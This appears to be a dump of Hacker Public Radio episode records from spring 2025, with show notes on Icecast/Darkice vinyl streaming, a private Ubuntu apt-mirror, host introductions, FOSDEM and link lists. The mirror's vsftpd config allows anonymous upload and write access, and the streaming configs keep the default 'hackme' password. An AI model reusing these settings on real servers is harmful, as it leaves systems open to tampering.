                                                            \n\nPinecil Soldering Iron\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://pine64.com/product/pinecil-smart-mini-portable-soldering-iron/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nABS\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.simplify3d.com/resources/materials-guide/abs/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPLA\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.simplify3d.com/resources/materials-guide/pla/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCreality CR-10\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.creality.com/products/creality-cr-10-smart-3d-printer\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCreality CR-10 Pro\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.creality.com/products/creality-cr-10-smart-pro-3d-printer\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBambu A1 \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://us.store.bambulab.com/products/a1\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDan Carlin Hardcore History Podcast\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.dancarlin.com/hardcore-history-series/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHistory That Doesn't Suck Podcast\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.htdspodcast.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBader Meinhoff Effect\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://science.howstuffworks.com/life/inside-the-mind/human-brain/baader-meinhof-phenomenon.htm\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDev Random Podcast\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://archive.org/details/devrandom\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTail of the Dragon (motocycle enthusiast road) \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.dreamsabroad.com/exploring-us-129-the-tail-of-the-dragon/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nVermont Maple Syrup\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://sapjack.com/vermont-maple-syrup/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nKing Syrup\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://king-syrup.com/about-king-syrup/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years,HPR,community","version":0,"downloads":0,"valid":1}, {"id":4355,"date":"2025-04-11","title":"Record player audio - Streaming with Darkice","duration":614,"summary":"Archer72 has a brief overview of streaming a vinyl record to his laptop","notes":"\n

                                                            Intro

                                                            \n

                                                            Hello, this is your host, Archer72, for Hacker Public Radio.

                                                            \n

                                                            In this episode, this is my third show involving my record\n player.

                                                            \n

                                                            I am using a Zoom H1essential\n Stereo\n Handy Recorder microphone, recording into Audacity for this\n show.

                                                            \n

                                                            Why visit the record shop?

                                                            \n

                                                            Picking up a record at the record shop expands my music\n choices.
                                                            \n I get a chance to talk to the owner on the weekend when searching\n for\n new music. He is an archaeologist and a teacher at a local college\n during\n the week, and is knowledgeable on all the music in the store.

                                                            \n

                                                            One\nYear\n With the Institute - Archive.org

                                                            \n

                                                            I wanted a way to listen to the records while on my laptop,\n preferably with headphones, as to not disturb the household.

                                                            \n

                                                            How is this accomplished?

                                                            \n

                                                            This is done using a combination of Darkice to capture the\n stream,\n and Icecast to stream it to the local network.

                                                            \n

                                                            What is Icecast?

                                                            \n
                                                            \n

                                                            Icecast is a streaming media (audio/video) server which\n currently\n supports Ogg (Vorbis and Theora), Opus, WebM and MP3 streams. It\n can be\n used to create an Internet radio station or a privately running\n jukebox\n and many things in between. It is very versatile in that new\n formats can\n be added relatively easily and supports open standards for\n communication\n and interaction.

                                                            \n

                                                            Icecast is distributed under the GNU GPL, version 2.

                                                            \n

                                                            The default config file is located in

                                                            \n

                                                            /usr/share/doc/icecast2/icecast.xml.dist.gz

                                                            \n
                                                            \n

                                                            icecast.xml.dist

                                                            \n

                                                            if the default config gets mangled or corrupted by myself.\n Several\n other types of configs are also in /usr/share/doc/icecast2/\n that include a bare bones config

                                                            \n

                                                            and the installed icecast2 config is located in

                                                            \n

                                                            /etc/icecast2/icecast.xml

                                                            \n

                                                            Configuration\n needed to\n be personalized

                                                            \n
                                                              <location>Cynthiana,KY</location>\n  <admin>ricemark20.nospam@nospam.gmail.com</admin>
                                                            \n

                                                            Change\nthe\n passwords from hackme to a more secure password

                                                            \n
                                                              <authentication>\n    <!-- Sources log in with username 'source' -->\n    <source-password>hackme</source-password>\n    <!-- Relays log in with username 'relay' -->\n    <relay-password>hackme</relay-password>\n\n    <!-- Admin logs in with the username given below -->\n    <admin-user>admin</admin-user>\n    <admin-password>hackme</admin-password>\n  </authentication>\n\n  <!-- In my case, this is the IP address of the Raspberry Pi -->\n  <hostname>192.168.x.x</hostname>\n\n  mountPoint   = live # mount point of this stream on the IceCast2 server\n  name      = DarkIce Vinyl Stream # name of the stream\n  description   = This is my Vinyl stream # description of the stream\n  url       = http://localhost # URL related to the stream\n  genre      = Podcast  # genre of the stream\n  public     = yes    # advertise this stream?\n  localDumpFile  = recording.ogg # Record also to a file\n  metadata    = yes   # enable metadata
                                                            \n

                                                            What is Darkice?

                                                            \n
                                                            \n

                                                            DarkIce is a live audio streamer designed to record audio from\n an\n audio interface, such as a sound card, encode it, and send it to\n a\n streaming server. It supports various streaming servers\n including\n IceCast 1 and 2, ShoutCast, and Darwin Streaming Server. DarkIce\n can\n encode audio in formats like MP3 and Ogg Vorbis. To use DarkIce,\n you\n configure it with settings such as the audio input device,\n sample rate,\n and streaming server details, including the server’s address,\n port, and\n authentication information.

                                                            \n
                                                            \n

                                                            This description of Darkice is a result of using the Brave Search\n LLM, or Large Language Model.

                                                            \n

                                                            \n

                                                            \n

                                                            The default config file is located in

                                                            \n

                                                            /usr/share/doc/darkice/examples/darkice.cfg.gz and\n is\n copied to the /etc directory. From there, use the gunzip\n command, for example gunzip darkice.cfg.gz

                                                            \n

                                                            I used the config file from a blog by Steffen Müller on stmllr.net

                                                            \n

                                                            August 10, 2012 as a template for my configuration

                                                            \n

                                                            darkice.cfg

                                                            \n

                                                            This is the configuration I used in the end.

                                                            \n darkice-pi.cfg\n

                                                            \n

                                                            Changes to the template

                                                            \n

                                                            \n The audio device is configured in the [input]\n section,\n defined by arecord dash lowercase ‘L’ to list the\n capture\n device, which in my case is the Behringer\n UMC202HD USB\n Audio Interface\n

                                                            \n
                                                            [general]\nduration    = 0    # duration of encoding, in seconds. 0 means forever\nThe section of the config file for audio input looks like this.\n[input]\ndevice = plughw:0,0 # This refers to card 0, device 0
                                                            \n

                                                            Start Darkice

                                                            \n

                                                            darkice &

                                                            \n

                                                            Update Metadata

                                                            \n

                                                            \n

                                                            \n

                                                            I was looking for a way to update the Currently Playing metadata,\n but\n my coding skills are not too good. For this, I used Claude.ai to generate code from\n the\n prompt: BASH script to send HTTP request to change metadata on\n icecast\n stream

                                                            \n update-metadata.sh\n

                                                            \n

                                                            Default values

                                                            \n
                                                              HOST=\"localhost\" # 192.168.x.x\n  PORT=\"8000\"    # Default Icecast port\n  MOUNT=\"/stream\"\n  USER=\"admin\"\n  PASSWORD=\"hackme\" # Icecast admin password\n  SONG=\"Unknown\"
                                                            \n

                                                            Usage

                                                            \n

                                                            update-metadata.sh -s \"HPR Test\"

                                                            \n

                                                            \n\n\n\n

                                                            \n

                                                            \n If there are any suggestions for improvements, please leave a\n comment or\n upload a show. I look forward to hearing about if an how other\n people\n are using a personal streaming server. Also, I am looking forward\n to the\n show from the Reserve Queue,\n

                                                            \n

                                                            2024-10-13 Fred Black What LP records do I have

                                                            \n

                                                            Other References

                                                            \n

                                                            Radiostreaming for\n Beginners

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Record player, vinyl album, record album, record store, streaming, darkice, icecast, arecord","version":0,"downloads":0,"valid":1}, {"id":4356,"date":"2025-04-14","title":"Mirror Mirror On The Wall","duration":765,"summary":"Lee talks about running a private Ubuntu mirror","notes":"\n

                                                            \n \n Running a private Ubuntu Mirror\n

                                                            \n

                                                            \n It is possible to set up a local server to keep a synchronized\n copy of all the Ubuntu packages, allowing later installs of\n packages for any local machine even in the absence of an internet\n connection.

                                                            \n

                                                            \n To do this a script called \n apt-mirror can be run on the server.

                                                            \n

                                                            \n \n crontab\n

                                                            \n
                                                            0 1 * * * /usr/local/bin/apt-mirror\n
                                                            \n

                                                            \n The location of the mirror is specified in \n apt-mirror.conf\n

                                                            \n

                                                            \n \n /etc/apt/apt-mirror.conf\n

                                                            \n
                                                            set mirror_path /disk/ftp/Mirror\nset cleanup_freq daily\nset mirror_verbose yes\n
                                                            \n

                                                            \n The origin servers are specified in \n mirror.list\n . It is possible to choose which architectures and Ubuntu releases\n to fetch as well as whether to fetch just the binary packages or\n also the sources.

                                                            \n

                                                            \n \n /etc/apt/mirror.list\n

                                                            \n
                                                            ​\ndeb http://archive.ubuntu.com/ubuntu noble main restricted universe multiverse\ndeb http://security.ubuntu.com/ubuntu noble-security main restricted universe multiverse\ndeb http://archive.ubuntu.com/ubuntu noble-updates main restricted universe multiverse\ndeb http://archive.ubuntu.com/ubuntu noble-backports main restricted universe multiverse\n​\ndeb-i386 http://archive.ubuntu.com/ubuntu noble main restricted universe multiverse\ndeb-i386 http://security.ubuntu.com/ubuntu noble-security main restricted universe multiverse\ndeb-i386 http://archive.ubuntu.com/ubuntu noble-updates main restricted universe multiverse\ndeb-i386 http://archive.ubuntu.com/ubuntu noble-backports main restricted universe multiverse\n​\n#deb-src http://archive.ubuntu.com/ubuntu noble main restricted universe multiverse\n#deb-src http://security.ubuntu.com/ubuntu noble-security main restricted universe multiverse\n#deb-src http://archive.ubuntu.com/ubuntu noble-updates main restricted universe multiverse\n#deb-src http://archive.ubuntu.com/ubuntu noble-backports main restricted universe multiverse\n​\nclean http://archive.ubuntu.com/ubuntu\n
                                                            \n

                                                            \n The mirrored packages could be served up to local machines in a\n number of ways, I am using \n vsftpd to serve the files via FTP.

                                                            \n

                                                            \n \n /etc/vsftp.conf\n

                                                            \n
                                                            anonymous_enable=YES\nanon_upload_enable=YES\nanon_mkdir_write_enable=YES\ndirmessage_enable=YES\nxferlog_enable=YES\nconnect_from_port_20=YES\nlisten=YES\npam_service_name=vsftpd\nseccomp_sandbox=NO\nisolate_network=NO\nanon_root=/disk/ftp/\nno_anon_password=YES\nhide_ids=YES\npasv_min_port=40000\npasv_max_port=50000\nwrite_enable=YES\n
                                                            \n

                                                            \n On local machines, the mirror on the server can then be specified\n as the source for \n apt to use to retrieve packages.

                                                            \n

                                                            \n \n /etc/apt/sources.list.d/ubuntu.sources\n

                                                            \n
                                                            ​\nTypes: deb\nURIs: ftp://server/Mirror/mirror/archive.ubuntu.com/ubuntu\nSuites: noble noble-updates noble-backports\nComponents: main universe restricted multiverse\nSigned-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg\n​\n## Ubuntu security updates. Aside from URIs and Suites,\n## this should mirror your choices in the previous section.\nTypes: deb\nURIs: ftp://server/Mirror/mirror/security.ubuntu.com/ubuntu\nSuites: noble-security\nComponents: main universe restricted multiverse\nSigned-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg\n
                                                            \n

                                                            \n
                                                            \n

                                                            ","hostid":403,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, ubuntu, mirror","version":0,"downloads":0,"valid":1}, {"id":4357,"date":"2025-04-15","title":"Short introduction by murph.","duration":98,"summary":"Simply a very brief introduction by murph.","notes":"

                                                            This is just an introduction, here is the rough text of the audio:

                                                            \n

                                                            Hello HPR:

                                                            \n

                                                            I'm murph, I've been an HPR listener for a long-time, into the TWAT days. I'll try to keep it quick.

                                                            \n

                                                            I started in computers in the early 80's with a VIC-20. After a few of the Commodore 8-bits, I settled into the Amiga line, which I daily drove up into this century, and stll have a few.

                                                            \n

                                                            In college in the 90's, I had a dilemma. I wanted to do C programming homework from home, but the expensive Amiga compiler wasn't compatible with the Sun workstations at school. Another student introduced me to Linux, and I promptly ordered a set of Slackware CDs and figured out how to install. I was looking for the compilers to complete my studies, but have stayed for the freedom, and the communities, like this one. I've used countless distros over the years, and use a few for different needs.

                                                            \n

                                                            I am still a Linux user, and system administrator. I've given a few talks on things like gnu/screen, mastodon, tmux ay conventions like Penguicon, SCaLE, HOPE and some more regional conferences.

                                                            \n

                                                            I was inspired by Lyle and Thaj Sera's HPR birds of a feather talk, and thought that it would make a good presentation, and asked them to let me base a talk off of it, which they encouraged. Part of that is how to submit a show, which resulted in me finally, after all this time, finally submitting one of my own, as opposed to the occassional show I've crassly barged into.

                                                            \n

                                                            If you want to reach me, the best ways would be by email or on the fediverse, @murph@hackers.town

                                                            \n

                                                            Thanks for listening.

                                                            \n\n\n\n","hostid":444,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"introduction, murph, amiga, linux, goofball","version":0,"downloads":0,"valid":1}, {"id":4358,"date":"2025-04-16","title":"My linux journey","duration":450,"summary":"How Jerm got into linux","notes":"\n Today I would like to share my journey into the world of Linux and\n Free Software and how it has shaped my computing experience over the\n years.
                                                            \n
                                                            \n

                                                            Links

                                                            \n ","hostid":445,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Introduction","version":0,"downloads":0,"valid":1}, {"id":4359,"date":"2025-04-17","title":"Fosdem 2025 - My Personal Experience","duration":1346,"summary":"For the first time, I went to FOSDEM 2025. In this podcast, I share my experiences.","notes":"\n

                                                            \n Links to presentation information

                                                            \n

                                                            \n aerc

                                                            \n

                                                            \n Git repository here: https://git.sr.ht/~rjarry/aerc

                                                            \n

                                                            \n Slide deck here: https://aerc-mail.org/fosdem-2025

                                                            \n

                                                            \n JMAP information: https://jmap.io/

                                                            \n

                                                            \n Building a watt-meter esp-rs and a rocket backend

                                                            \n

                                                            \n Wattmeter code: https://github.com/ssaavedra/esp32-amp-sensor

                                                            \n

                                                            \n Backend code: https://github.com/ssaavedra/amp-sensor-backend
                                                            \n

                                                            \n

                                                            \n Celebrating Open Standards: How Podcasting 2.0 Shaped the Future\n of Podcasting

                                                            \n

                                                            \n Description and links on the FOSDEM website: https://fosdem.org/2025/schedule/event/fosdem-2025-5630-celebrating-open-standards-how-podcasting-2-0-shaped-the-future-of-podcasting/

                                                            \n

                                                            \n Immich

                                                            \n

                                                            \n Home page: https://immich.app

                                                            \n

                                                            \n All the world's a stage:Running a theatre show on open source\n software

                                                            \n

                                                            https://fosdem.org/2025/schedule/event/fosdem-2025-4290-all-the-world-s-a-stage-running-a-theatre-show-on-open-source-software/

                                                            \n

                                                            \n LoRaMesher

                                                            \n

                                                            \n Repository: https://github.com/LoRaMesher/LoRaMesher

                                                            \n

                                                            \n
                                                            \n

                                                            ","hostid":438,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"FOSDEM 2025, Open Source","version":0,"downloads":0,"valid":1}, {"id":4360,"date":"2025-04-18","title":"Isaac Asimov: The Robot Novels","duration":811,"summary":"A look at the robot novels of Isaac Asimov","notes":"

                                                            \n Isaac Asimov first invented the Three Laws of Robotics in a series\n of short stories. But he then imagined how a future society might\n develop with robots, and he pictured this in a series of novels\n that have become classics in their own right.

                                                            \n

                                                            \n Links:

                                                            \n ","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Asimov, Robots","version":0,"downloads":0,"valid":1}, {"id":4361,"date":"2025-04-21","title":"On my own time","duration":854,"summary":"I express my frustrations at people who push their choice of distros onto others","notes":"\n

                                                            Swift110 talks about installing and running Ubuntu back in the\n day, and the journey many of us have in picking a distro
                                                            \n

                                                            \n

                                                            https://swift110.wordpress.com/2011/08/25/i-will-not-be-upgrading-from-ubuntu-10-10-to-11-04/

                                                            \n

                                                            \n
                                                            \n

                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,people, ubuntu, linux mint, solus, swift110","version":0,"downloads":0,"valid":1}, {"id":4362,"date":"2025-04-22","title":"Elsbeth's First Episode","duration":1444,"summary":"In this show Elsbeth talks about what got her into Tech, how she found HPR, and her special interest","notes":"\n

                                                            \n Elsbeth talks about how she got started with technology, the\n issues she has faced as a female geek and gamer, aspects of her\n career with building computers and software quality assurance as\n well as other hobbies such as reading and yoga.

                                                            \n

                                                            \n Links:
                                                            \n

                                                            \n ","hostid":446,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"Tech, intro, mental health, atari, cessna, ","version":0,"downloads":0,"valid":1}, {"id":4363,"date":"2025-04-23","title":"My First Episode for HPR ","duration":103,"summary":"Long time listener first time contributor ","notes":"\n

                                                            \nShort introduction episode, on my journey with Linux, Python, FOSS & Ham Radio

                                                            \n\n\n","hostid":447,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, linux, ham radio, foss","version":0,"downloads":0,"valid":1}, {"id":4364,"date":"2025-04-24","title":"24-25 New Years Eve show 6","duration":7347,"summary":"The HPR community comes together to say happy new year and chat","notes":"
                                                            \n

                                                            NYE 2025 6

                                                            \n
                                                            \n

                                                            pdp8online: The ASR33 is a printing terminal and a program storage device (paper tape) used...

                                                            \n

                                                            wikipedia: Radar in World War II greatly influenced many important aspects of the conflict...

                                                            \n

                                                            ll: SCR-584 radar developed at the MIT Radiation Laboratory in the 1940s...

                                                            \n

                                                            wikipedia: The PDP-1 (Programmed Data Processor-1) is the first computer in...

                                                            \n

                                                            w140: Intel 8086 is a 16-bit microprocessor monolithic integrated circuit introduced in 1978...

                                                            \n

                                                            wikipedia: Chaosnet is a local area network technology. It was first developed...

                                                            \n

                                                            wikipedia: The Hercules Graphics Card (HGC) is a computer graphics controller

                                                            \n

                                                            wikipedia: The Advanced Research Projects Agency Network (ARPANET) was the first wide-area packet-switched network with...

                                                            \n

                                                            goodreads: Where Wizards Stay Up Late: The Origins of the Internet

                                                            \n

                                                            wikipedia: Dual-tone multi-frequency signaling (DTMF) is a telecommunication signaling system.

                                                            \n

                                                            wikipedia: Asperger syndrome (AS), also known as Asperger's syndrome or Asperger's, is a diagnostic label...

                                                            \n

                                                            wikipedia: Autism spectrum disorder[a] (ASD), or simply autism, is a neurodevelopmental disorder...

                                                            \n

                                                            wikipedia: Diagnostic and Statistical Manual of Mental Disorders

                                                            \n

                                                            wikipedia: The Diagnostic and Statistical Manual of Mental Disorders, Fifth Edition (DSM-5)

                                                            \n

                                                            wikipedia: Agoraphobia[1] is a mental and behavioral disorder,[5] specifically an anxiety disorder characterized by

                                                            \n

                                                            wikipedia: "Nice guy" is an informal term, commonly used with either a literal or a sarcastic meaning...

                                                            \n

                                                            ncbi: Predictive utility of autistic traits in youth with ADHD

                                                            \n

                                                            wikipedia: Many causes of autism, including environmental and genetic factors...

                                                            \n

                                                            massgeneral: Bressler Program for Autism Spectrum Disorder

                                                            \n

                                                            wikipedia: International Organization for Standardization

                                                            \n

                                                            iso: The International Organization for Standardization

                                                            \n

                                                            wikipedia: The Media Transfer Protocol (MTP)

                                                            \n

                                                            wikipedia: The Network Time Protocol (NTP) is a networking protocol for clock synchronization between...

                                                            \n

                                                            wikipedia: OpenSSL is a software library for applications that provide secure communications over computer networks...

                                                            \n

                                                            wikipedia: The Network Time Protocol daemon (ntpd) is an operating system program that maintains the system time...

                                                            \n

                                                            wikipedia: Eminent domain [a], also known as land acquisition, [b] compulsory purchase, [c] resumption...

                                                            \n

                                                            amtrak: Amtrak Routes & Destinations

                                                            \n

                                                            wikipedia: A dragline excavator is a heavy-duty excavator used in civil engineering and surface mining.

                                                            \n

                                                            raleighcounty: ...attempt to introduce the township system was made in West Virginia’s first constitution...

                                                            \n

                                                            wikipedia: IRC (Internet Relay Chat) is a text-based chat system for instant messaging.

                                                            \n

                                                            openstreetmap: OpenStreetMap is a free, open map database updated and maintained by a community of...

                                                            \n

                                                            wineauthorities: Red Blend “The Other”

                                                            \n

                                                            untappd: In the Steep DDH (Mosaic)

                                                            \n

                                                            untappd: In the Steep

                                                            \n

                                                            amsterdambeer: Boneshaker is brewed with copious amounts of hops balanced with...

                                                            \n

                                                            bigskybrew: Moose Drool

                                                            \n

                                                            beeradvocate: Double Pig's Ear

                                                            \n

                                                            beeradvocate: Pig's Eye Ice

                                                            \n

                                                            theshedbrewery: The Shed Brewery

                                                            \n

                                                            wikipedia:) Private Stock (malt liquor)

                                                            \n

                                                            wikipedia:) Colt 45 (malt liquor)

                                                            \n

                                                            ebay: Patch liquore di malto SINGOLA COLT 45 COOL

                                                            \n

                                                            wikipedia: Haffenreffer Brewery

                                                            \n

                                                            beeradvocate: Haffenreffer Private Stock

                                                            \n

                                                            justia: GREAT WALL VODKA IMPORTED FROM THE PEOPLE'S REPUBLIC OF CHINA

                                                            \n

                                                            wikipedia: Everclear is an American brand name of a line of rectified spirit (also known as grain alcohol and neutral spirit)

                                                            \n

                                                            wikipedia: Bacardi 151 is a discontinued brand of highly alcoholic rum...

                                                            \n

                                                            caskers: Vermont Ice Maple Bourbon Whiskey

                                                            \n

                                                            greatamericanbeerfestival: The Great American Beer Festival (GABF)

                                                            \n

                                                            wikipedia: The Great American Beer Festival (GABF)

                                                            \n

                                                            vermontsalumi: At Vermont Salumi, we embrace the art of salumi-making...

                                                            \n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years,HPR,community","version":0,"downloads":0,"valid":1}, {"id":4365,"date":"2025-04-25","title":"Mint to Rocket Money and Scammers ","duration":808,"summary":"operat0r talks about my move from Mint to Rocket Money and me getting scammed basically..","notes":"\n

                                                            \n Some advice about tracking spending, money management,\n RocketMoney, MintApp, Budgeting, Personal Finance, Financial\n Management, Automatic Routing, Investments, Net Worth and data\n brokers.

                                                            \n ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Budgeting","version":0,"downloads":0,"valid":1}, {"id":4366,"date":"2025-04-28","title":"My audio setup and editing","duration":687,"summary":"Recording with a dynamic microphone, monitoring in real time with headphone, and then editing it all","notes":"\n

                                                            \nHi all!

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTopics

                                                            \n

                                                            \nTopic 1: Hello, my name is Antoine.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTopic 2: I listened to you!

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \na) Comment from Archer72:

                                                            \n

                                                            \n\"[...] Audio setups are *definitely* of interest to hackers :)\"

                                                            \n

                                                            \n\nLink:\n \nhttps://hackerpublicradio.org/eps/hpr4325/index.html#comment_4278\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nb) From hpr4351 :: HPR Community News for March 2025

                                                            \n

                                                            \n(on the show)

                                                            \n

                                                            \nSomething like: 'I'm not going to read your (long) comments, give a show on it'.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSorry for making you read my comments, dear HPR Janitors! (Specially you, good-voice Sgoti)

                                                            \n

                                                            \n\nLink:\n \nhttps://hackerpublicradio.org/eps/hpr4351/index.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTopic 3: My audio setup

                                                            \n

                                                            \n\n(Also you can see written on a commentary of mine on the link on Topic 2 a).\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTopic 4: My audio editing (when I do)

                                                            \n

                                                            \nWith examples.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n* On the sibilance (\"sss\") example, the adjustment settings for the to-be-better fragment was an agressive cut of -7.4 dB on frequency 5.8 kHz (for advanced curiosity: Q 4.73, threshold -36.3 dB, ratio 3.8:1). Did it only with some testing, and knowing that sibilance normally is at about 6 kHz (when it happens, because here the dynamic microphone ended up not capturing too much of it).

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTopic 5: I'm in a new working time

                                                            \n

                                                            \nIf you can, do a word of prayer to God in favour of me.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIf anything I said \"that is better\" is, actually, worse, don't worry thinking you are perceiving it wrongly, it's just that I'm not a professional and can have made it wrong. Or it's only a matter of taste, it's fine also; the ideas are there, and I welcome your participation too.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThank you!

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nCredit of music I decided to use on the example after normalizing and compressing a fragment is from: EvanBoyerman: \"\nHopeful Piano/String Cinematic Ambience Drama Background Music\n\", CC-BY 4.0, link: \nhttps://freesound.org/people/EvanBoyerman/sounds/798705/\n

                                                            \n\n\n","hostid":441,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audio editing, audio recording, making an HPR show, comments, audacity, compression","version":0,"downloads":0,"valid":1}, {"id":4367,"date":"2025-04-29","title":"My first episode; 001 Introduction","duration":1390,"summary":"Living in the Linux commandline, bash and scripting","notes":"\n

                                                            \n Hi listener!

                                                            \n

                                                            \n My name is oxo. In this first episode for HPR I will introduce\n myself a little and present my plans for my future episodes on\n this channel.

                                                            \n

                                                            \n My goal is to let you as a listener follow along while I am\n learning new interesting things about Linux. This will be mainly\n about how I manage to survive the commandline while having fun\n doing so! :)

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n My main codebase is in the codeberg repository, which you can find\n here: oxo\n - Codeberg.org

                                                            \n

                                                            \n Comments are always welcome! Please contact me via Mastodon: @oxo@qoto.org\n or email oxo at protonmail.com

                                                            ","hostid":448,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"arch, linux, commandline, bash, zsh, script, scripting, oxo","version":0,"downloads":0,"valid":1}, {"id":4368,"date":"2025-04-30","title":"Lessons learned moderating technical discussion panels","duration":1211,"summary":"Tips for effectively moderating tech panels, from preparation to audience engagement.","notes":"\n

                                                            \n Lessons I've learned moderating 5+ tech panels:

                                                            \n

                                                            \n Preparation:

                                                            \n
                                                              \n
                                                            • \n Be familiar with the panelists and their subject matter.
                                                            • \n
                                                            • \n Avoid asking common questions.
                                                            • \n
                                                            • \n Set up the stage using a semicircle arrangement rather than\n formal tables to promote dialogue between panelists.
                                                            • \n
                                                            • \n Ensure that each panelist has their own microphone to prevent\n any accidental dominance in the discussion.
                                                            • \n
                                                            \n

                                                            \n Execution:

                                                            \n
                                                              \n
                                                            • \n Set a friendly and informal tone before the panel starts to help\n nervous panelists relax.
                                                            • \n
                                                            • \n Involve the audience by encouraging questions and conducting\n polls to increase engagement.
                                                            • \n
                                                            • \n Use a central microphone for audience questions to avoid delays\n and maintain a smooth flow.
                                                            • \n
                                                            • \n Listen carefully to questions and rephrase them if necessary to\n ensure clarity for the panelists.
                                                            • \n
                                                            • \n Know when to politely wrap up discussions to keep the\n conversation moving.
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            ","hostid":149,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"panels, discussion, conferences, talks","version":0,"downloads":0,"valid":1}, {"id":4369,"date":"2025-05-01","title":"What LP records do I have?","duration":3368,"summary":"Fred counts up all their Long playing Vinyl Records by organization number","notes":"\n

                                                            \n Eventually I will add all my Records on Discogs, but I also\n thought about posting about them on mastodon on:

                                                            \n

                                                            \n \n https://mastodon.social/@Freds_Vinyl_records\n

                                                            \n

                                                            \n I will post them when I have time, and also add Records that I\n have acquired since.

                                                            ","hostid":422,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Music, Vinyl records","version":0,"downloads":0,"valid":1}, {"id":4370,"date":"2025-05-02","title":"Playing Civilization IV, Part 8","duration":664,"summary":"We demonstrate how to win a Culture victory","notes":"

                                                            \nCivilization IV added some new Victory types, and I decided to\nillustrate one of them, the Culture victory, by going through an\nexample of achieving this. This is the second part of my\ndemonstration. Then I discussed a few points about the Science and\nMilitary victories.

                                                            \n

                                                            \nLinks:

                                                            \n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization IV, Culture victory","version":0,"downloads":0,"valid":1}, {"id":4371,"date":"2025-05-05","title":"HPR Community News for April 2025","duration":2264,"summary":"HPR Volunteers talk about shows released and comments posted in April 2025","notes":"

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n murph, \n Jerm, \n Elsbeth, \n ko3moc, \n oxo.\n

                                                            \n\n

                                                            Last Month's Shows

